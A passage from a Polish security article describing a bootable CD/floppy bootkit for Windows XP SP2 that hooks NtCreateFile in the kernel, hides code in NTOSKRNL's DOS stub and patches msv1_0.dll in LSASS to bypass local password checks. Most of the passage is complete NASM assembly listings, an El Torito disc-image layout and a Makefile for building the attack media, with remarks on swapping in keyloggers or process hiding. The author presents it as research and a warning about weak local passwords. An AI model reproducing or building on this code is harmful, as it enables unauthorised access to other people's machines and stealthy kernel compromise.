przekierowanie.  Nie  może  to  być  używany  wcześniej  adres  0x3E00,  gdyż  jest  on 
poprawny  jedynie  w  trybie  rzeczywistym  –  w  trybie  chronionym  nie  ma 
bezpośredniego  dostępu  do  tego  typu  niskich  obszarów  pamięci,  które 
wykorzystywane były w początkowych fazach bootowania. 

 

Autor  zdecydował  się  na  użycie  zawartości  tzw.  DOS  Stub  –  krótkiego  programu 
obecnego w każdym pliku PE, który uruchamiany jest w momencie próby odpalenia 
Windowsowej aplikacji pod systemem DOS – pliku NTOSKRNL.exe. Pamięć ta nie 
jest  nigdy  wykorzystywana  w  trakcie  działania  systemu,  a  mimo  to  znajduje  się 
wewnątrz  pamięci  przeznaczonej  dla  samego  kernela,  co  pomaga  ukryć  się  przed 
pewną liczbą anty-rootkitów. 
Miejsce to znajduje się 40h (64d) bajtów za adresem bazowym jądra i jest wielkości 
ok.  168  bajtów,  a  więc  taka  jest  górna  granica  rozmiaru  naszego  kodu, 
wywoływanego każdorazowo w momencie użycia funkcji NtCreateFile.

 

 
 
@SyscallHookAddr dd @HookSyscall 
@HookSyscall: 
 
  pushfd 
  pushad 
 
  cld 
 
  mov 

 

edi, [esp+24h]   

 

background image

20

 

 

  and 

 

edi, 0FFF00000h  

 

 
  mov 

 

al, 0C7h  

 
@PatchFunction_mlsigloop: 

 

 

 

  scasb 
  jne 

 

short @PatchFunction_mlsigloop 

 
  cmp 

 

dword [edi], 40003446h 

  jne 

 

short @PatchFunction_mlsigloop 

 
  mov 

 

al, 0A1h 

 

 

 

 

 
@PatchFunction_mlbaseloop: 
  scasb 
  jne 

 

short @PatchFunction_mlbaseloop 

 
  mov 

 

esi, [edi]  

 

  mov 

 

esi, [esi]  

 

  lodsd   

 

 

 

  mov 

 

ebx, [eax+18h]   

 

  
  call  GetExportedFuncAddr 
  mov   dword [_NtCreateFileSyscallAddrFirst], eax     
  mov   dword [_NtCreateFileSyscallAddrSecond], eax    
  add   ebx, 40h                                       
  mov   dword [_DosStubHookAddr] , ebx                 
 
  mov   byte [eax], 0E9h  
  inc   eax               
  mov   ecx, eax 
  neg   ecx 
   
  lea   edx, [ebx+ecx-5+1] 
  mov   dword [eax], edx 
 
  mov  edi, ebx ; edi  
  mov  esi, NT_CREATE_FILE_HOOK_START 
  mov  ecx, NT_CREATE_FILE_HOOK_END - NT_CREATE_FILE_HOOK_START 
  rep  movsb 
 
  popad 
  popf 
 
  mov  esi, eax 
  test eax, eax 
  jnz  _no_cond_jmp 
 
_cond_jmp: 
  add dword [esp], 21h  
_no_cond_jmp: 

background image

21

 

 

  Ret 

 

   Listing 5. Kod wykonywany po przekierowaniu z NTLDR 
 

Przedstawiony wyżej, trzeci już fragment naszego kodu odpowiada za odnalezienie 
poprawnego  adresu,  pod  który  załadowane  zostało  jądro  systemu,  a  następnie 
wykorzystanie  tej  informacji  w  celu  odszukania  adresu  wyeksportowanej  funkcji, 
która  ma  zostać  spatchowana.  W  tym  celu  wywołana  zostaje  funkcja 

GetExportedFuncAddr, 

której  działanie  omówione  zostanie  w  dalszej  części 

artykułu.  

 

Po jej odnalezieniu mamy do czynienia z kolejnymi operacjami: 

 

  Adres jądra zostaje zapisany w dwóch miejscach 

 

W  miejsce  pierwszych  pięciu  bajtów  znalezionej  funkcji  zostaje  wstawiona 
funkcja JMP imm32 – skok pod zdefiniowany przez nas adres, w tym przypadku 
ImageBase+40h. 

 

Kod,  do  którego  prowadzi  przekierowanie  zostaje  skopiowany  do  „bufora”  w 
DOS Stub’ie przy użyciu instrukcji rep movsb 

 

Wartości flag i rejestrów są przywrócone, a następnie instrukcje NTLDR, które 
zostały  nadpisane  przez  skok  do  miejsca  w  którym  aktualnie  jesteśmy  zostają 
wykonane. 

 
 
 

 

Rysunek 7. Zmodyfikowany DOS 
Stub i jedna z funkcji kernela 

Rysunek 6. NTOSKRNL.EXE w 
oryginalnej postaci 

background image

22

 

 

Na  rysunkach  6  i  7  przedstawione  zostały  struktury  pliku  PE  kernela  w  pamięci 
przed i po modyfikacji (hook na funkcję + zmodyfikowany DOS Stub). 
 
Do  omówienia  została  jeszcze  tajemnicza  funkcja  GetExportedFuncAddr,  która 
przyjmując  w  rejestrze  EBX  adres  bazowy  jądra  zwraca  adres  jednej  z 
eksportowanej  przez  niego  funkcji.  Jej  kod  jest  odpowiedzialny  za  przejście  przez 
kolejne  struktury  pliku  PE,  a  następnie  wylistowanie  wszystkich  udostępnionych 
„na  zewnątrz”  funkcji,  gdzie  każda  nazwa  zostaje  porównana  do  stałego  ciągu, 
jakim jest właśnie 12-bajtowa nazwa NtCreateFile

 

W  celu  lepszego  zrozumienia  działania  poszczególnych  fragmentów,  komentarze 
obecne w oryginalnym kodzie projektu zostały pozostawione. 

 

GetExportedFuncAddr: 
  xor 

 

eax, eax 

 
  mov 

 

ecx, [ebx+3Ch]   

 

; RVA of PE header 

  mov 

 

ebp, [ebx+ecx+78h] 

 

; RVA of export directory 

  add 

 

ebp, ebx 

 

 

 

; ptr to export directory 

 
  xor   ecx, ecx       ; iterator 
  mov   edx, [ebp+1Ch] ; IMAGE_EXPORT_DIRECTORY::AddressOfFunctions 
  mov   edi, [ebp+20h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNames 
  mov   eax, [ebp+24h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNameOrdinals 
 
  ; turn these values into VAs 
  add 

   edi, ebx 

  add   edx, ebx 
  add   eax, ebx 
 
@search_loop: 
 
  mov   esi, [edi+4*ecx]   ; get the current function's name  
  add   esi, ebx           ; and make a virtual address from it 
 
  cmp   ecx, [ebp+18h]  ; check if there are no more functions exported 
  jge   _retloc 
  inc   ecx 
 
  cmp   dword [esi], 07243744eh   ; "NtCr" 
  jnz   @search_loop 
  cmp   dword [esi+4], 065746165h ; "eate" 
  jnz   @search_loop 
  cmp   dword [esi+8], 0656c6946h ; "File" 
  jnz   @search_loop 
 
  dec   ecx                     ; ecx <--- function ID in export table 
  movzx eax, word  [eax+ecx*2]  ; eax <--- function ordinal 

background image

23

 

 

  mov   eax, dword [edx+eax*4]  ; eax <--- function address 
  add   eax, ebx 
 
_retloc: 
  ret 

 

Listing 6. Funkcja GetExportedFuncAddr 

 
 

4.4  Etap trzeci 

– modyfikacja jądra 

 

W  chwili  obecnej  sytuacja  przedstawia  się  następująco:  kod,  do  którego  wiedzie 
przekierowanie syscalla  może wykonywać dowolne operacje, jak  gdyby  należał do 
jednego  z  obecnych  w  systemie  sterowników.  Może  bez  przeszkód  manipulować 
wrażliwymi  strukturami  systemowymi,  ingerować  w  ścieżki  wykonywania 
konkretnych procesów itd. Nam zależy oczywiście na modyfikacji zaledwie dwóch 
bajtów jednego z modułów LSASS.EXE.  

 

Aby  móc  to  uczynić,  nasz  kod  musi  najpierw  znajdować  się  w  kontekście  danego  
procesu – oznacza  to, że zmiana pamięci  możliwa  jest jedynie w  momencie, kiedy 
atakowany  proces  wywołuje  funkcję  NtCreateFile,  przekierowującą  do 
skopiowanych  przez  nas  danych  w  „buforze”  DOS  Stub.  Umieszczony  tam  kod 
„dowiaduje  się”,  że  jest  to  odpowiedni  moment  na  przeprowadzenie  ataku  – 
wyłącza on ochronę pamięci, zamienia interesujące nas bajty, a następnie przywraca 
wcześniejszy  stan  rejestru  CR0,  zdejmuje  hak  z  funkcji  kernela  i  wraca  do  jej 
wykonywania. 

 

Jeśli taki scenariusz zadziała w praktyce, msv1_0.dll będzie zmodyfikowany już  w 
momencie  rozpoczęcia  procesu  logowania,  a  mimo  to  w  pamięci  nie  pozostanie 
żaden  ślad  po  przeprowadzonym  ataku  (oprócz  zawartości  nagłówka  jądra,  który 
można jednak przywrócić w momencie zdejmowania hooka).  
 
Przed  zabraniem  się  za  pisanie  kluczowego  i  zarazem  ostatniego  fragmentu  kodu, 
odpowiedzialnego  za  bezpośrednie  zdejmowanie  zabezpieczenia  hasłem  należy 
zastanowić się nad kilkoma ważnymi kwestiami. Po pierwsze, skąd nasz kod może 
się  dowiedzieć,  w  kontekście  jakiego  procesu  aktualnie  działa  oraz,  jeśli  jest  to 
właśnie  LSASS,  czy  moduł  msv1_0.dll  został  wcześniej  załadowany.  W  tym 
miejscu można posłużyć się pewnymi założeniami i, zamiast wprost pobierać nazwę 
aktualnego procesu, zwracać większą  uwagę  na samą scieżkę pliku  lub urządzenia, 
do którego następuje odwołanie. 
 

background image

24

 

 

Okazuje  się,  że  istnieje  jasno  określony  porządek  odwoływań  do  poszczególnych 
ścieżek  –  istnieją  również  ciągi,  których  jako  jedyny  lub  chociaż  jako  pierwszy 
używa  właśnie  atakowany  proces.  W  trakcie  badań  odkryto,  że  jednym  z  takich 
ciągów  jest  „\??\Pipe\NETLOGON”,  który  otwarty  zostaje  już  po  załadowaniu 
msv1_0.dll  i  pierwszym  procesem,  który  do  niego  się  odwołuje  jest  LSASS  (w 
późniejszym czasie robi to jeszcze winlogon.exe). 
 
Opisana wyżej kolejność wygląda następująco: 

  lsass.exe : C:\Windows\system32\msv1_0.dll 

 

… 

  lsass.exe : \??\Pipe\NETLOGON 

 

… 

  winlogon.exe : \??\Pipe\NETLOGON 

 

Jest to oczywiście jedynie  ZAŁOŻENIE, które 
nie  musi  być  prawdziwe  w  każdej  wersji 
systemu  Windows,  gdyż  nie  ma  żadnej 
gwarancji,  że  taki  porządek  odwołań  jest 
jedynym  poprawnym  i  nigdy  nie  ulegnie 
zmianie.  Zostało  to  jednak  potwierdzone  na 
dużej  liczbie  maszyn  z  zainstalowanym 
systemem Windows XP SP1 i SP2, więc myślę, 
że można przyjąć to rozwiązanie za poprawne.  
 
Kolejną  rzeczą  do  przemyślenia  jest  sama 
modyfikacja  msv1_0  –  interesujący  nas 
fragment  kodu  zmienia  się  między  kolejnymi 
wersjami/poprawkami  systemów,  trudno  jest 
więc  trzymać  się  jednego,  ustalonego  z  góry 

adresu.  Postanowiłem  jednak  uznać,  że  projekt 
będzie w zamyśle działał  na systemach Microsoft 
Windows  XP  SP2  –  zastosowałem  więc  stały 
adres,  który  okazał  się  być  poprawny  dla 

wszystkich 

testowanych 

przeze 

mnie 

komputerów.  Stała,  która  definiuje  wartość  tego 

adresu została już przedstawiona w pierwszym fragmencie kodu jako: 

 

MSV1_0_PATCH_ADDR equ 077C699B9h 

 

Rysunek 8. Schemat blokowy działania 
hooka ntoskrnl!NtCreateFile 

background image

25

 

 

Na  rysunku  8  przedstawiony  został  schemat  działania  hooka  obecnego  w  jądrze 
systemu,  sprawdzający  opisane  wyżej  warunki  niezbędne  do  podjęcia  decyzji  o 
patchowaniu  LSASS,  natomiast  na  listingu  7  zobaczyć  możemy  autorską 
implementację ostatniego fragmentu kodu. 
 

NT_CREATE_FILE_HOOK_START equ $ 

@NtCreateFileHook: 
  pushfd  
  pushad 
   
  mov eax, [esp+030h]  
  mov eax, [eax+8]     
  cmp word [eax], 34   
  jnz _LeaveTheHook    
 
  mov edi, dword 0 
_DosStubHookAddr equ $-4 
  add edi, _SearchedLsaString - NT_CREATE_FILE_HOOK_START 
 
  mov esi, [eax+4]  
  mov ecx, NT_CREATE_FILE_HOOK_END - _SearchedLsaString  
  repe cmpsb 
 
  test ecx, ecx  
  jnz _LeaveTheHook 
   
  push eax 
  mov  eax, CR0 
  and  eax, 0FFFEFFFFh 
  mov  CR0, eax 
  pop  eax 
 
  mov  word [MSV1_0_PATCH_ADDR], 9090h 
   
  push eax 
  mov  eax, CR0 
  or   eax, 10000h 
  mov  CR0, eax 
  pop  eax 
 
  mov  eax, 0xC0DEC0DE 
_NtCreateFileSyscallAddrFirst equ $-4 
  mov  dword [eax], 08B55FF8Bh  
  mov  byte [eax+4], 0ECh    
 
_LeaveTheHook: 
  popad  
  popf 
 

background image

26

 

 

  push ebp 
  mov  ebp, esp 
   
  push dword 0xDEADBEEF 
_NtCreateFileSyscallAddrSecond equ $-4 
 
  add  dword [esp], 5 
  ret 
 
_SearchedLsaString db 
'\',0,'?',0,'?',0,'\',0,'P',0,'I',0,'P',0,'E',0,'\',0,'N',0,'E',0,'T',0
,'L',0,'O',0,'G',0,'O',0,'N',0,0,0 
NT_CREATE_FILE_HOOK_END  equ $ 

 

Listing  7.  Kod  finalnego  hooka,  znajdujący  się  w  jednym  z  nagłówków  pliku 
wykonywalnego NTOSKRNL.EXE 

 
Samym sercem powyższego kodu jest jedna, jedyna instrukcja wstawiająca wartość 
9090h  w  miejsce  skoku  warunkowego,  od  którego  zależy  możliwość  zalogowania 
się  na dowolne konto obecne w systemie. Jeśli jedynym zabezpieczeniem  systemu 
jest hasło  ustawione  na każdym z  lokalnych kont (najczęściej spotykana sytuacja), 
nic nie stanowi już problemu by uzyskać dostęp do danych dostępnych jedynie dla 
najbardziej  uprzywilejowanych  użytkowników,  pozostawiając  przy  tym  jedynie 
minimalną ilość śladów działalności. 
 
Aby  uczynić  nasz  kod  jeszcze  bardziej  elastycznym,  można  w  miejsce  użycia 
stałego adresu modyfikacji msv1_0 dodać funkcję odpowiedzialną za wyszukiwanie 
odpowiedniej  sygnatury  w  atakowanym  module,  co  prawdopodobnie  dodatkowo 
uodporniłoby projekt na zmiany wynikające z kolejnych poprawek/Service Packów 
wydawanych  przez  Microsoft,  jednak  już  w  tym  momencie  działa  on  na 
zdecydowanej większości systemów Windows XP. 
 
Jak wcześniej wspomniano, fragment kodu odpowiedzialny za hookowanie jednej z 
funkcji kernela zastąpić można znacznie groźniejszym, przykładowo instalującym w 
jądrze  „moduł”  odpowiedzialny  za  przechwytywanie  naciśniętych  klawiszy, 
ukrywanie dowolnych procesów, połączeń sieciowych  itp. Jedynym ograniczeniem 
jest  tutaj  wyobraźnia  kodera  korzystającego  z  dobrodziejstw  tworzenia 
bootowalnych nośników – należy więc mieć się na baczności i pamiętać, że lokalne 
hasło  systemowe  nie  zabezpiecza  nas  w  pełni  nawet  przed  włamywaczami 
o  wiedzy  średniego  poziomu,  którzy  wkładając  odpowiednią  płytę  w  momencie 
uruchamiania  maszyny  mogą  dobrać  się  do  danych,  które  uważamy  za  świetnie 
chronione. 

 

background image

27

 

 

5. Przenoszenie kodu na CD-ROM 

 

Po  skompilowaniu  całości  przedstawionego  wcześniej  kodu  do  postaci  binarnej, 
przy pomocy asemblera nasm 2.04
 

20:18:39 Vexillium> nasm -v 
NASM version 2.04 compiled on Sep 25 2008 
 
20:18:41 Vexillium> nasm core.asm -O3 –o core.bin 
 
20:18:42 Vexillium> 
 

Otrzymujemy  plik  core.bin  o  rozmiarze  512  bajtów,  czyli  dokładnie  jednego 
sektora,  który  w  przypadku  zwyczajnej  dyskietki  1.44MB  powinien  zostać 
umieszczony  na  samym  jej  początku.  Aby  otrzymać  poprawny  plik  obrazu  FDD, 
wystarczy posłużyć się następującym kodem: 
 

start: 

incbin "core.bin"  
times ((1440 * 1024)-($-start)) db 0  
 

który dołącza utworzony wcześniej plik binarny, a następnie resztę obrazu wypełnia 
zerami.  Po  nagraniu  takiego  obrazu  bezpośrednio  na  dyskietkę  (np.  przy  pomocy 
programu  rawrite)  jest  ona  od  razu  gotowa  do  użycia  –  jak  widać,  nie  ma  więc 
większych  problemów  z  dodatkowymi  utrudnieniami  w  postaci  formatu  danych 
zapisanych na nośniku itd.  
 
Problem taki występuje jednak w przypadku znacznie szerzej stosowanych dziś płyt 
CD-ROM (tudzież DVD), które muszą już opatrzone być odpowiednimi strukturami 
opisującymi  charakterystyczne  cechy  jak  właśnie  bootowalność  dysku.  Dokładny 
opis  formatu  znaleźć  można  w  dokumencie  [14],  będącym  specyfikacją  formatu 
El-Torito, który definiuje format bootowalnych płyt CD. 
 
Poniżej  przedstawiony  został  oryginalny  kod,  który  po  skompilowaniu  tworzy 
prawidłowy,  gotowy  do  nagrania  obraz  płyty  CD-ROM.  Jest  on  opatrzony 
angielskimi  komentarzami,  lecz  nie  powinno  stanowić  to  większego  problemu  – 
większość z nich to po nazwy pól znalezione we wspomnianej wyżej specyfikacji. 
 
 
 
 

background image

28

 

 

CD_SECTOR_SIZE    equ 800h 
NUMBER_OF_SECTORS equ 20 
 
times 16*CD_SECTOR_SIZE db 0  ; 15 empty sectors 
 
; 16th CD sector - PRIMARY VOLUME DESCRIPTOR 
db 1,'CD001',1                ; kind of signature? 
db 0 
times 32 db 0                 ; system identifier 
times 32 db 0                 ; volume identifier 
times  8 db 0 
db  NUMBER_OF_SECTORS,0,0,0,0,0,0,NUMBER_OF_SECTORS  ;  number  of  sectors 
in both little and big endian 
times 32 db 0                 ; zeroes 
db 1,0,0,1                    ; '1' words in both endians 
db 1,0,0,1                    ; same as above 
db 0,8,8,0                    ; sector size (2048) in both endians 
times  2  dd  0                            ;  path  table  length  in  bytes,  as  a  both 
endian double word 
times 4 dd 0                  ; something 
 
; root directory record (34 bytes) 
db 34                         ; size of the record 
db 0 
times 2*8 db 0 
times 7   db 0 
db 2                          ; some flag (it is directory) 
db 0 
db 0 
db 1,0,0,1                    ; 1 in both endians 
db 1                          ; some length 
db 0                          ; the identifier itself 
 
times 4*128 db 0              ; some stupid identifiers (what the hell 
is it for?) 
times 3*37  db 0              ; another identifiers 
times 4*17  db 0              ; some dates... 
db 1,0 
times 512   db 0              ; reserved for application use 
times 653   db 0              ; zeros 
 
 
; 17th CD sector - The Boot Record Volume Descriptor 
db 0                          ; boot record indicator 
db 'CD001'                    ; ISO-9660 identifier 
db 1                          ; version of descriptor 
db 'EL TORITO SPECIFICATION'  ; boot system identifier 
times 41 db 0                 ; padding 
db 18                       

 ; number of first sector in the Boot 

Catalog 
times 1976 db 0               ; align 

background image

29

 

 

; 18th CD sector - Validation entry 
db 1                          ; header ID 
db 0                          ; platform ID - 0 means 80x86 
dw 0                          ; reserved 
db 'j00ru//vx Logon hack',0,0,0,0 ; ID string 
dw 2108h                      ; check... 
dw 0AA55h                     ; ...sum ;D 
 
; Initial entry 
db 088h                       ; boot indicator - Bootable 
db 2                          ; emulating 1.44mb diskette 
dw 0                          ; load segment (default 0x7C0) 
db 0                          ; system type 
db 0                          ; unused 
dw 1                          ; load 1 sector to 0x7C00 
dd 19                         ; number of sector with our bootable code  
times 19 db 0                 ; some zeros 
times 1985 db 0               ; align 

 
 

; 19th CD sector - our bootable code 
BOOTABLE_CODE_BEGIN: 
incbin "mbr.bin" 
times 2048 - ($-BOOTABLE_CODE_BEGIN) db 0 
 
Listing 8. Format bootowalnej płyty CD w formie „kodu” assemblera 

 
 
Opisy kolejnych fragmentów kodu zostały wypunktowane: 

 

  Zdefiniowanie  podstawowych  wartości  używanych  w  strukturach  i 

wyzerowanie  pierwszych  15  sektorów  płyty  –  każdy  z  nich  wielkości  800h 
(2048d) bajtów 

  Primary Volume Descriptor – zawsze 16 sektor nośnika, zawiera podstawowe 

informacje opisujące płytę 

  Boot  Record  Volume  Descriptor  –  zawsze  17  sektor  nośnika,  najważniejszą 

wartością  którą  definiuje  jest  miejsce  w  którym  znajduje  się  tzw.  katalog 
bootowania (w naszym przypadku jest to następny, 18 sektor) 

  Validation  &  Initial  Entry  –  standardowe  wpisy  w  katalogu  bootowania, 

pierwszy  odpowiedzialny  za  potwierdzenie,  że  katalog  ten  jest  poprawny  (a 
także  zawierający  identyfikator  oraz  sumę  kontrolną),  natomiast  drugi 
przekazujący  bezpośrednio  informacje  o  sektorze,  w  którym  znaleźć  można 
kod domyślnie ładowany przez BIOS w momencie włączania komputera 

 

Dołączenie pliku binarnego z gotowym kodem – ostatni, 19 sektor 

 

background image

30

 

 

6. E

fekt końcowy

 

 
Po  skompilowaniu  przedstawionych  wyżej  plików  core.asm,  floppy.asm    oraz 
cdrom.asm,  rezultatem  uruchomienia  wirtualnej  maszyny  autorstwa  Microsoftu  z 
dołączonym  plikiem  .iso  oraz  bez  niego  można  podziwiać  na  zamieszczonych 
poniżej zrzutach ekranu. Listing 9 przedstawia z kolei plik Makefile, który znacząco 
ułatwia  wielokrotną  rekompilację  kodu  w  przypadku  własnych  eksperymentów  z 
hakowaniem systemów operacyjnych przy użyciu bootowalnych nośników danych. 
 
 

 
 
 
 

Rysunek 9. Wirtualna maszyna uruchomiona bez dodatkowych nośników – prośba o hasło 

background image

31

 

 

 

OUT  

 

= cdrom.iso floppy.img 

CFLAGS    

= -O3 

NASM 

 

= nasm.exe 

NONUSED   

=  

 
cdrom.iso: cdrom.asm core.bin floppy.img 
 

$(NASM) $(CFLAGS) cdrom.asm -o cdrom.iso 

 
floppy.img: floppy.asm core.bin 
 

$(NASM) $(CFLAGS) floppy.asm -o floppy.img 

 
core.bin: core.asm 
 

$(NASM) $(CFLAGS) core.asm -o core.bin 

 
clean: 
 

del $(OUT) 

 
Listing 9. Plik Makefile projektu 

 

 

Rysunek 10. Wirtualna maszyna zbootowana z utworzonego przez nas obrazu płyty CD-ROM – logowanie 
bez podawania hasła 

background image

32

 

 

7. Literatura

 

 

1. 

http://en.wikipedia.org/wiki/Real_mode

 

 

2. 

http://en.wikipedia.org/wiki/Protected_mode

 

 

3. 

http://en.wikipedia.org/wiki/Interrupt_descriptor_table

 

 

4. 

http://en.wikipedia.org/wiki/BIOS

 

 

5. 

http://en.wikipedia.org/wiki/Mbr

 

 

6. 

http://en.wikipedia.org/wiki/Volume_Boot_Record

 

 

7. 

http://en.wikipedia.org/wiki/Ntldr

 

 

8. 

http://en.wikipedia.org/wiki/Windows_NT_Startup_Process

 

 

9. 

http://en.wikipedia.org/wiki/LSASS

 

 

10. 

http://www.eeye.com/html/resources/newsletters/vice/VI20051104.html

 

 
Opis  działania  projektów  SysRq  oraz  SysRq2  stworzonych  przez  zespół  eEye 
Research 

 

11. 

http://research.eeye.com/html/tools/RT20060801-7.html

 

 
BootRoot  –  projekt  przedstawiony  na  konferencji  BlackHat  2005,  instalowanie 
sieciowego backdoora z użyciem bootowania 

 

12. 

http://research.eeye.com/html/tools/RT20060801-8.html

 

 

Obraz płyty SysRq2, gotowy do wypalenia i przetestowania 

 

13. 

http://en.wikipedia.org/wiki/ISO_9660

 

 

Opis specyfikacji systemu plików płyt CD 

 

14. 

http://en.wikipedia.org/wiki/El_torito

 

background image

33

 

 

 

Opis rozszerzenia ISO 9660, dotyczącego bootowalności płyt CD. 

 

15. 

http://www.phoenix.com/NR/rdonlyres/98D3219C-9CC9-4DF5-B496-
A286D893E36A/0/specscdrom.pdf

 

 

Specyfikacja El Torito 

 

16. 

http://forum.osdev.org/viewtopic.php?f=2&t=17546

 

 

Wątek  założony  przez  autora  interfejsu  graficznego  debuggera  dostępnego  w 
emulatorze  Bochs,  który  okazał  się  bardzo  przydatny  w  pracy  z  bootowalnymi 
nośnikami